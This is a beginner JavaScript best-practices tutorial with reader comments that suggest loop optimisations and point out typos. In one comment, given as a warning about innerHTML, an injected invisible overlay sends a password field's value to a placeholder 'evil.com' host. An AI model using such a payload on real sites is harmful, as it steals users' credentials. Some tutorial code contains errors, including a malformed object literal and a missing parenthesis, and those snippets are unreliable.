24 JavaScript Best Practices for Beginners
basix

24 JavaScript Best Practices for Beginners

Tutorial Details
  • Technology: JavaScript
  • Difficulty: Beginner

As a follow-up to “30 HTML and CSS Best Practices”, this week, we’ll review JavaScript! Once you’ve reviewed the list, be sure to let us know what little tips you’ve come across!


1. Use === Instead of ==

JavaScript utilizes two different kinds of equality operators: === | !== and == | != It is considered best practice to always use the former set when comparing.

“If two operands are of the same type and value, then === produces true and !== produces false.” – JavaScript: The Good Parts

However, when working with == and !=, you’ll run into issues when working with different types. In these cases, they’ll try to coerce the values, unsuccessfully.


2. Eval = Bad

For those unfamiliar, the “eval” function gives us access to JavaScript’s compiler. Essentially, we can execute a string’s result by passing it as a parameter of “eval”.

Not only will this decrease your script’s performance substantially, but it also poses a huge security risk because it grants far too much power to the passed in text. Avoid it!


3. Don’t Use Short-Hand

Technically, you can get away with omitting most curly braces and semi-colons. Most browsers will correctly interpret the following:

if(someVariableExists)
   x = false

However, consider this:

if(someVariableExists)
   x = false
   anotherFunctionCall();

One might think that the code above would be equivalent to:

if(someVariableExists) {
   x = false;
   anotherFunctionCall();
}

Unfortunately, he’d be wrong. In reality, it means:

if(someVariableExists) {
   x = false;
}
anotherFunctionCall();

As you’ll notice, the indentation mimics the functionality of the curly brace. Needless to say, this is a terrible practice that should be avoided at all costs. The only time that curly braces should be omitted is with one-liners, and even this is a highly debated topic.

if(2 + 2 === 4) return 'nicely done';

Always Consider the Future

What if, at a later date, you need to add more commands to this if statement. In order to do so, you would need to rewrite this block of code. Bottom line – tread with caution when omitting.


4. Utilize JS Lint

JSLint is a debugger written by Douglas Crockford. Simply paste in your script, and it’ll quickly scan for any noticeable issues and errors in your code.

“JSLint takes a JavaScript source and scans it. If it finds a problem, it returns a message describing the problem and an approximate location within the source. The problem is not necessarily a syntax error, although it often is. JSLint looks at some style conventions as well as structural problems. It does not prove that your program is correct. It just provides another set of eyes to help spot problems.”
– JSLint Documentation

Before signing off on a script, run it through JSLint just to be sure that you haven’t made any mindless mistakes.



5. Place Scripts at the Bottom of Your Page

This tip has already been recommended in the previous article in this series. As it’s highly appropriate though, I’ll paste in the information.

Place JS at bottom

Remember — the primary goal is to make the page load as quickly as possible for the user. When loading a script, the browser can’t continue on until the entire file has been loaded. Thus, the user will have to wait longer before noticing any progress.

If you have JS files whose only purpose is to add functionality — for example, after a button is clicked — go ahead and place those files at the bottom, just before the closing body tag. This is absolutely a best practice.

Better

<p>And now you know my favorite kinds of corn. </p>
<script type="text/javascript" src="path/to/file.js"></script>
<script type="text/javascript" src="path/to/anotherFile.js"></script>
</body>
</html>

6. Declare Variables Outside of the For Statement

When executing lengthy “for” statements, don’t make the engine work any harder than it must. For example:

Bad

for(var i = 0; i < someArray.length; i++) {
   var container = document.getElementById('container');
   container.innerHtml += 'my number: ' + i;
   console.log(i);
}

Notice how we must determine the length of the array for each iteration, and how we traverse the dom to find the "container" element each time -- highly inefficient!

Better

var container = document.getElementById('container');
for(var i = 0, len = someArray.length; i < len;  i++) {
   container.innerHtml += 'my number: ' + i;
   console.log(i);
}

Bonus points to the person who leaves a comment showing us how we can further improve the code block above.


7. The Fastest Way to Build a String

Don't always reach for your handy-dandy "for" statement when you need to loop through an array or object. Be creative and find the quickest solution for the job at hand.

var arr = ['item 1', 'item 2', 'item 3', ...];
var list = '<ul><li>' + arr.join('</li><li>') + '</li></ul>';

I won’t bore you with benchmarks; you’ll just have to believe me (or test for yourself) - this is by far the fastest method!

Using native methods (like join()), regardless of what’s going on behind the abstraction layer, is usually much faster than any non-native alternative.
- James Padolsey, james.padolsey.com


8. Reduce Globals

"By reducing your global footprint to a single name, you significantly reduce the chance of bad interactions with other applications, widgets, or libraries."
- Douglas Crockford

var name = 'Jeffrey';
var lastName = 'Way';

function doSomething() {...}

console.log(name); // Jeffrey -- or window.name

Better

var DudeNameSpace = {
   name : 'Jeffrey',
   lastName : 'Way',
   doSomething : function() {...}
}
console.log(DudeNameSpace.name); // Jeffrey

Notice how we've "reduced our footprint" to just the ridiculously named "DudeNameSpace" object.


9. Comment Your Code

It might seem unnecessary at first, but trust me, you WANT to comment your code as best as possible. What happens when you return to the project months later, only to find that you can't easily remember what your line of thinking was. Or, what if one of your colleagues needs to revise your code? Always, always comment important sections of your code.

// Cycle through array and echo out each name.
for(var i = 0, len = array.length; i < len; i++) {
   console.log(array[i]);
}

10. Embrace Progressive Enhancement

Always compensate for when JavaScript is disabled. It might be tempting to think, "The majority of my viewers have JavaScript enabled, so I won't worry about it." However, this would be a huge mistake.

Have you taken a moment to view your beautiful slider with JavaScript turned off? (Download the Web Developer Toolbar for an easy way to do so.) It might break your site completely. As a rule of thumb, design your site assuming that JavaScript will be disabled. Then, once you've done so, begin to progressively enhance your layout!


11. Don't Pass a String to "SetInterval" or "SetTimeOut"

Consider the following code:

setInterval(
"document.getElementById('container').innerHTML += 'My new number: ' + i", 3000
);

Not only is this code inefficient, but it also functions in the same way as the "eval" function would. Never pass a string to SetInterval and SetTimeOut. Instead, pass a function name.

setInterval(someFunction, 3000);

12. Don't Use the "With" Statement

At first glance, "With" statements seem like a smart idea. The basic concept is that they can be used to provide a shorthand for accessing deeply nested objects. For example...

with (being.person.man.bodyparts) {
   arms = true;
   legs = true;
}

-- instead of --

being.person.man.bodyparts.arms = true;
being.person.man.bodyparts.legs= true;

Unfortunately, after some testing, it was found that they "behave very badly when setting new members." Instead, you should use var.

var o = being.person.man.bodyparts;
o.arms = true;
o.legs = true;

13. Use {} Instead of New Object()

There are multiple ways to create objects in JavaScript. Perhaps the more traditional method is to use the "new" constructor, like so:

var o = new Object();
o.name = 'Jeffrey';
o.lastName = 'Way';
o.someFunction = function() {
   console.log(this.name);
}

However, this method receives the "bad practice" stamp without actually being so. Instead, I recommend that you use the much more robust object literal method.

Better

var o = {
   name: 'Jeffrey',
   lastName = 'Way',
   someFunction : function() {
      console.log(this.name);
   }
};

Note that if you simply want to create an empty object, {} will do the trick.

var o = {};

"Objects literals enable us to write code that supports lots of features yet still make it a relatively straightforward for the implementers of our code. No need to invoke constructors directly or maintain the correct order of arguments passed to functions, etc." - dyn-web.com


14. Use [] Instead of New Array()

The same applies for creating a new array.

Okay

var a = new Array();
a[0] = "Joe";
a[1] = 'Plumber';

Better

var a = ['Joe','Plumber'];

"A common error in JavaScript programs is to use an object when an array is required or an array when an object is required. The rule is simple: when the property names are small sequential integers, you should use an array. Otherwise, use an object." - Douglas Crockford


15. Long List of Variables? Omit the "Var" Keyword and Use Commas Instead

var someItem = 'some string';
var anotherItem = 'another string';
var oneMoreItem = 'one more string';

Better

var someItem = 'some string',
    anotherItem = 'another string',
    oneMoreItem = 'one more string';

...Should be rather self-explanatory. I doubt there's any real speed improvements here, but it cleans up your code a bit.


17. Always, Always Use Semicolons

Technically, most browsers will allow you to get away with omitting semi-colons.

var someItem = 'some string'
function doSomething() {
  return 'something'
}

Having said that, this is a very bad practice that can potentially lead to much bigger, and harder to find, issues.

Better

var someItem = 'some string';
function doSomething() {
  return 'something';
}

18. "For in" Statements

When looping through items in an object, you might find that you'll also retrieve method functions as well. In order to work around this, always wrap your code in an if statement which filters the information

for(key in object) {
   if(object.hasOwnProperty(key) {
      ...then do something...
   }
}

As referenced from JavaScript: The Good Parts, by Douglas Crockford.


19. Use Firebug's "Timer" Feature to Optimize Your Code

Need a quick and easy way to determine how long an operation takes? Use Firebug's "timer" feature to log the results.

function TimeTracker(){
 console.time("MyTimer");
 for(x=5000; x > 0; x--){}
 console.timeEnd("MyTimer");
}

20. Read, Read, Read...

While I'm a huge fan of web development blogs (like this one!), there really isn't a substitute for a book when grabbing some lunch, or just before you go to bed. Always keep a web development book on your bedside table. Here are some of my JavaScript favorites.

Read them...multiple times. I still do!


21. Self-Executing Functions

Rather than calling a function, it's quite simple to make a function run automatically when a page loads, or a parent function is called. Simply wrap your function in parenthesis, and then append an additional set, which essentially calls the function.

(function doSomething() {
   return {
      name: 'jeff',
      lastName: 'way'
   };
})();

22. Raw JavaScript Can Always Be Quicker Than Using a Library

JavaScript libraries, such as jQuery and Mootools, can save you an enormous amount of time when coding -- especially with AJAX operations. Having said that, always keep in mind that a library can never be as fast as raw JavaScript (assuming you code correctly).

jQuery's "each" method is great for looping, but using a native "for" statement will always be an ounce quicker.


23. Crockford's JSON.Parse

Although JavaScript 2 should have a built-in JSON parser, as of this writing, we still need to implement our own. Douglas Crockford, the creator of JSON, has already created a parser that you can use. It can be downloaded HERE.

Simply by importing the script, you'll gain access to a new JSON global object, which can then be used to parse your .json file.

 var response = JSON.parse(xhr.responseText);

 var container = document.getElementById('container');
 for(var i = 0, len = response.length; i < len; i++) {
   container.innerHTML += '
  • ' + response[i].name + ' : ' + response[i].email + '
  • '; }

    24. Remove "Language"

    Years ago, it wasn't uncommon to find the "language" attribute within script tags.

    <script type="text/javascript" language="javascript">
    ...
    </script>
    

    However, this attribute has long since been deprecated; so leave it out.


    That's All, Folks

    So there you have it; twenty-four essential tips for beginning JavaScripters. Let me know your quick tips! Thanks for reading. What subject should the third part in this series cover?


    Add Comment

    Discussion 208 Comments

    Comment Page 3 of 3 1 2 3
    1. Ahasan habib says:

      I want to say in a sentence that is !!!!Just amazing!!!!!

    2. Garrett says:

      Nice tutorial. Thanks!

    3. Good tips.

      About $5, how would this affect using jQuery’s .ready and Mootools’ domready events, if scripts were loaded in the footer?

      On #6, you should declare the someElements.length outside of the loop declaration because it has to fetch the same value every time it evaluates.

    4. A says:

      Douglas Crockford is the man!!! When I come be old, I want to be like him!

    5. Alexsandro says:

      Douglas Crockford is the man!!! When I come be old, I want to be like him!

      P.s.: The comment above has in wrong name.

    6. Anup says:

      Great Tutorials !
      It has more helpful for reducing code.

      Thanks !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

    7. เพชร says:

      very helpful for beginners

    8. Eli says:

      Another Great book is JavaScript the Missing Manual, it includes some jquery and is an overall very easy read. The Author make real life connections, and adds a little humor.

    9. Diogo Silva says:

      Hi,

      in the exemple 13 in line 2 Better

      lastName = ‘Way’

      correct:

      lastName: ‘Way’

      hugs
      []‘s

    10. Garro says:

      nice one Jeff

    11. tot2ivn says:

      Nice article for beginners !

    12. I leave the scripting to the scripters, I am the graphic dude

    13. Blake Tallos says:

      Nice Article, Jeff. It’s good to see some of the best/bad practices of Javascript.

    14. Stoyan says:

      Great stuff, Jeff!

      Only one suggestion. I know I use the term “self-executing functions” too, but at some point saw Doug Crockford using the term “immediate function” and it kinda rolls out the tongue easier :)

    15. D. Silvius says:

      1. var container = document.getElementById(‘container’);
      2. for(var i = 0, len = someArray.length; i < len; i++) {
      3. container.innerHtml += 'my number: ' + i;
      4. console.log(i);
      5. }

      Instead if using len=somearray.length in the for loop, please move this outside as a variable and use it. Every time, finding the length is not a good idea.

      1. var container = document.getElementById('container');
      var iArrLenTmp = someArray.length;
      2. for(var i = 0, len = iArrLenTmp; i < len; i++) {
      3. container.innerHtml += 'my number: ' + i;
      4. console.log(i);
      5. }

      • Uday says:

        var container = document.getElementById(‘container’);
        var tmp = [];
        for(var i = 0, len = someArray.length; i < len; i++) {
        tmp.push('my number: ' + i);
        console.log(i);
        }
        container.innerHtml = tmp.join('');

        I think this is a step ahead.

      • Felipe says:

        Hey you know, in this article, http://dev.opera.com/articles/view/javascript-best-practices/ , they actually go even further and they do something like this:

        var names = ['George','Ringo','Paul','John'];

        for(var i=0 , j=names.length; i<j; i++ ){
        doSomeThingWith(names[i]);
        }

        Lol did not know you could do it!

    16. Damian says:

      Nice Article!!!!

    17. harry says:

      !!!!Just amazing!!!!!

    18. Mareen says:

      There are a lot of great points here, Great ideas and tips.

    19. Ankur says:

      As a beginner i was expected this type of articles,
      its really very helpful for me. Many thanks for this and i hope this type of post will be ever…

    20. Oaktre says:

      I want to express my admiration of your writing skill and ability to make
      reader to read the while thing to the end.

    21. tonysen says:

      Good article for beginners !

    22. data says:

      Eval = Bad, pff

    23. Chris Shannon says:

      Answer to #6. Declare Variables Outside of the For Statement

      A more efficient way to write your example would be this:

      var container = document.getElementById(‘container’);
      var i = someArray.length;

      while (i–) {
      container.innerHtml += ‘my number: ‘ + i;
      console.log(i);
      }

    24. Jack says:

      Best practice nr 16 is missing…

    25. Great article. Very informative. I will make sure I use these next time I use javascript! Thanks.

    26. Saiful says:

      Thanks, it is very helpful for JS beginner as like me. Thanks again.

    27. El garch says:

      Nice topic thx for sharing :)

    28. Sameh says:

      some times silence is better 1000 times than words , realy
      V.V.V.V (Coooooooooool & amazing);
      :) ;)

    29. Pete says:

      Nice article.

      PS: Improvements for #6

      //avoid altering DOM element for each iteration
      //avoid referencing DOM element as variable for each iteration
      //avoid getting array length for each iteration

      var container = document.getElementById(‘container’),
          str = container.innerHtml;
      for(var i = 0, len = someArray.length; i < len; i += 1) { 
         str += ‘my number: ‘ + i;  
         console.log(i);  

      container.innerHtml = str;

    30. Web Design says:

      Nice place to start for beginners

    31. Jacob says:

      I know this is a pretty old post but just to point out when your talking about wrapping object literals in {} rather then declaring new object, there is a typo the second variable lastname is still using a = rather then a :. Great article tho

    32. Web Designer says:

      I’m great with PHP but could certainly do with brushing up on my knowledge of Javascript, you make some very valid points here. Thanks Jeffery, good post.

    33. Thomas says:

      Good Stuff,
      Thanks.

    34. soundarapandian says:

      Very useful for beginners like me. Thank you very much

    35. Polish Hammer says:

      #7 NO WAY !

      1. for loop version:

      var a = ‘&ltul&gt&ltli&gt’ + ar.join(‘&lt/li&gt&ltli&gt’) + ‘&lt/li&gt&lt/ul&gt’;

      var a = ‘&ltul&gt’;

      for(j = 0; j < 100000; j++)
      {
      a += '&ltli&gt' + ar[j] + '&lt/li&gt';
      }

      a += '&lt/ul&gt';

      2. join() version:

      var a = ‘&ltul&gt&ltli&gt’ + ar.join(‘&lt/li&gt&ltli&gt’) + ‘&lt/li&gt&lt/ul&gt’;

      Firefox 9.0.1:
      2nd version is 4x slower than 1st version.

      Chrome 16.0.912.63:
      No big defference..

    36. // Cycle through array and echo out each name.
      for(var i = 0, len = array.length; i < len; i++) {
      console.log(array[i]);
      }

      In here why don't you use like this:

      // Cycle through array and echo out each name.
      var arrayLength = array.length;
      for(var i = 0, len = arrayLength; i < len; i++) {
      console.log(array[i]);
      }

      I think in here performance will increase because there need not to calculate array size each time.

      Thanks

      • Noel says:

        Actually the length of the array is not called each time in Jeff’s example:

        var container = document.getElementById(‘container’);
        for(var i = 0, len = someArray.length; i < len; i++) {
        container.innerHtml += 'my number: ' + i;
        console.log(i);
        }

        The 'len = someArray.length' is before the first semicolon in the for statement. It is only called once. The comparison is actually 'i < len;' where len has already been set. As a matter of fact, the part in question is actually an instance of example of #15, which us to use the var word once:

        var i = 0, len = someArray.length;

        FWIW, I saw a few comments that missed this, so added this comment.

    37. Ashish says:

      Thanks for these awesome tips, some these are really new for me. Keep posting this very useful tips for JavaScript coders. Thanks again…

    38. bernhard says:

      innerHTML is fast but it has the same security risks als eval.
      createElement+createTextNode is more save.

      Think about this attack:
      var fromunknowsource=”";

      document.getElementById(“target”).innerHTML=fromunknowsource;

      document.write and innerHTML are bad practise at least for beginners.
      ———

      Where is the problem in 11?
      If I put the SAME code in a function it is same secure as the string version. It’s possible to do bad things, but innerHTML is not secure anyway.

      I don’t understand example 15.
      What’s good about having 3 times different syntax in 3 lines if all do the same?

    39. bernhard says:

      innerHTML is fast but it has the same security risks als eval.
      createElement+createTextNode is more save.

      Think about this attack:

      var fromunknowsource=”<div style=’position:absolute;top:0px;left:0px;width:100%;height:100%;background-color:red;opacity:0′ onmousemove=’var img=new Image();img.src=\”http://evil.com?\”+document.getElementById(\”password\”).value;’></div>”;

      document.getElementById(“target”).innerHTML=fromunknowsource;

      document.write and innerHTML are bad practise at least for beginners.
      ———

      Where is the problem in 11?
      If I put the SAME code in a function it is same secure as the string version. It’s possible to do bad things, but innerHTML is not secure anyway.

      I don’t understand example 15.
      What’s good about having 3 times different syntax in 3 lines if all do the same?

    40. fgfgfff says:

      You are browsing this site with: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13

      Your IP address is: 180.233.120.122

      The DNS lookup of the IP address is: 180.233.120.122

      The method used to call the page: GET

      The server’s domain name: http://www.w3schools.com

      The server’s port: 80

      The server’s software: Microsoft-IIS/6.0

    41. John says:

      About best practice 13, what if we need more instances of a same object.
      Isn’t it useful code a constructor?
      Something like
      function Person(name,age)
      {
      this.name=name;
      this.age=age;
      }

      Someone=new Person(Someone,23);

      Is this a bad practice?

      • Croc says:

        John, your code is absolutely right practice :) The author wrote about creating object of “class” Object, which means just plain object. This occurs usually when we want just a box for some variables / methods to maintain our own namespace. Creating instances of other “classes” than Object should be done by calling the constructor, there is no other way. Hope I helped.

    42. Croc says:

      I’m not sure about tip #5. I’ve always put my tags in section. I think it’s more semantically correct, since I’m ALWAYS using event listeners for executing any script on my page. Am i wrong?

    43. charan says:

      Really awesome list of tips ..! Thank you

    44. JSbeginner says:

      Great tips. Very helpful and inspiring! Thank you for posting.

    45. kenji says:

      thanks!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

    Comment Page 3 of 3 1 2 3

    Add a Comment

    To add a code snippet to your comment, please wrap your code like so: <pre name="code" class="html">YOUR CODE</pre>. You can replace the class name with "js," "css," "sql," or "php." If there are any "<" or ">" within your code, please search and replace them with: &lt; and &gt; respectively.